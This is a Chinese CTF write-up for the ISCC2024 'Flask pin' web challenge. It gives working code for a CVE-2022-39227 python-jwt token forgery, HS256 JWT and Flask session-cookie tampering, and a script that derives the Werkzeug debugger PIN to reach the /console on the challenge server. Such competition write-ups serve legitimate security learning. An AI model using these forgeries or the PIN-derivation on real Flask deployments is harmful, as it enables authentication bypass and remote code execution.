# ISCC2024 WriteUp

AkyOI+李承达+3433778745@qq.com

### Web+Flask中的pin值计算

### 解题思路（必须包含文字说明+截图）

看页面源码有base64 L2dldHVzZXJuYW1l

解密得到/getusername

于是进去发现是海螺

传进去 请告诉我username是什么

于是就能拿到username为pincalculate

传{app.py}得到/crawler路由

运行

import requests

response1 = requests.get('http://101.200.138.180:10006/get\_expression')

response2 = requests.get('http://101.200.138.180:10006/crawler?answer={}'.format(eval(response1.json()['expression'].replace("÷","/").replace("×","\*"))))

print(response2.text)

得到<h1>/usr/local/lib/python3.11/site-packages/flask/app.py</h1>

<h1>uuidnode\_mac位于/woddenfish</h1>

jwt:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiZG9uYXRlIiwicXVhbnRpdHkiOjF9.gT7yG\_zYb22iGVXcGtSVzYr-fAeb\_Nyv4KbeH3Ez8hc

用ISCC\_muyu\_2024进行解码，篡改{"name": "donate","quantity": 1}为{"name": "admin","quantity": 100000000}

得到"佛曰：功德圆满。地址02:42:ac:18:00:02:,机器码提示给你了/machine\_id"

CVE-2022-39227-Python-JWT

from json import loads, dumps

from jwcrypto.common import base64url\_encode, base64url\_decode

def topic(topic):

[header, payload, signature] = topic.split('.')

parsed\_payload = loads(base64url\_decode(payload))

print(parsed\_payload)

parsed\_payload["role"] = "vip"

print(dumps(parsed\_payload, separators=(',', ':')))

fake\_payload = base64url\_encode((dumps(parsed\_payload, separators=(',', ':'))))

print(fake\_payload)

return '{" ' + header + '.' + fake\_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"} '

print(topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTQ1NDQ0MzgsImlhdCI6MTcxNDU0MDgzOCwianRpIjoiTzZ3VHhmR096cjdrQTRBemlnamE2QSIsIm5iZiI6MTcxNDU0MDgzOCwicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.hSUaV-X4mcdxaIglVPQ\_RApAuNCFqSKHFyPzsnHsdtNSDlkCxAx9Hb4OXV7NcSNx6e2FGqveKTh86xWTC6nZPcTtk1BtjQJQ-YlxtCoHfiwNrzI6irlFtUAlekxIMrgJRFfNSrmbduq\_eOiZp1L09F\_dV1Rs1hyotM-1VIVk1HeBzTgSMFVCe-GFqO5g0iwvzDv8UTr0HiD3cYAP43BNdDWJFCNYQjssoAlyX4apamKToJpuQRNztnVqpgy5ZzMVHSL66DXR9EBDT-bgHiNOpm99n2yQKYKjnitSYmmnv\_FPp8WFTBm9H\_Q0LAUUcLGOv3YqgJ\_FyWDhwIVpFQF5wQ'))

结果传到/vipprice?token=...，得到"welcome\_to\_iscc\_club"，以其为密钥篡改/supervipprice路由的session

python flask\_session\_cookie\_manager3.py encode -s welcome\_to\_iscc\_club -t "{\"role\":\"supervip\"}"

eyJyb2xlIjoic3VwZXJ2aXAifQ.ZjHTvA.IFfl3Usg-vQSfsxnaC1k2A5hChs

得到"acff8a1c-6825-4b9b-b8e1-8983ce1a8b94"

import hashlib

from itertools import chain

import argparse

def sub\_114514(probably\_public\_bits, private\_bits):

h = hashlib.md5()

for b in chain(probably\_public\_bits, private\_bits):

if not b:

continue

if isinstance(b, str):

b = b.encode('utf-8')

h.update(b)

h.update(b'cookiesalt')

n = None

if n is None:

h.update(b'pinsalt')

n = ('%09d' % int(h.hexdigest(), 16))[:9]

rrrr = None

if rrrr is None:

for group\_size in 5, 4, 3:

if len(n) % group\_size == 0:

rrrr = '-'.join(n[x:x + group\_size].rjust(group\_size, '0')

for x in range(0, len(n), group\_size))

break

else:

rrrr = n

return rrrr

def sub\_7f7f7f7f7f(probably\_public\_bits, private\_bits):

h = hashlib.sha1()

for b in chain(probably\_public\_bits, private\_bits):

if not b:

continue

if isinstance(b, str):

b = b.encode("utf-8")

h.update(b)

h.update(b"cookiesalt")

n = None

if n is None:

h.update(b"pinsalt")

n = f"{int(h.hexdigest(), 16):09d}"[:9]

rrrr = None

if rrrr is None:

for group\_size in 5, 4, 3:

if len(n) % group\_size == 0:

rrrr = "-".join(

n[x: x + group\_size].rjust(group\_size, "0")

for x in range(0, len(n), group\_size)

)

break

else:

rrrr = n

return rrrr

def macToInt(windows):

windows = windows.replace(":", "")

return str(int(windows, 16))

if \_\_name\_\_ == '\_\_main\_\_':

ppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp = argparse.ArgumentParser(description = "Calculate Python Flask Pin")

ppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp.add\_argument('-u', '--username',required = True, type = str, help = "运行flask用户的用户名")

ppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp.add\_argument('-m', '--modname', type = str, default = "flask.app", help = "默认为flask.app")

ppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp.add\_argument('-a', '--appname', type = str, default = "Flask", help = "默认为Flask")

ppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp.add\_argument('-p', '--path', required = True, type = str, help = "getattr(mod, '\_\_file\_\_', None):flask包中app.py的路径")

ppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp.add\_argument('-M', '--MAC', required = True, type = str, help = "MAC地址")

ppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp.add\_argument('-i', '--machineId', type = str, default = "", help = "机器ID")

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa = ppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp.parse\_args()

probably\_public\_bits = [

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.username,

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.modname,

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.appname,

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.path

]

private\_bits = [

macToInt(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.MAC),

bytes(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.machineId, encoding = 'utf-8')

]

md5Pin = sub\_114514(probably\_public\_bits, private\_bits)

sha1Pin = sub\_7f7f7f7f7f(probably\_public\_bits, private\_bits)

print("Md5Pin: " + md5Pin)

print("Sha1Pin: " + sha1Pin)

最后：

python .\pin.py -i acff8a1c-6825-4b9b-b8e1-8983ce1a8b94 -M 02:42:ac:18:00:02 -p /usr/local/lib/python3.11/site-packages/flask/app.py -u pincalculate

Md5Pin: 208-479-340

Sha1Pin: 252-749-991

http://101.200.138.180:10006/console?pin=252-749-991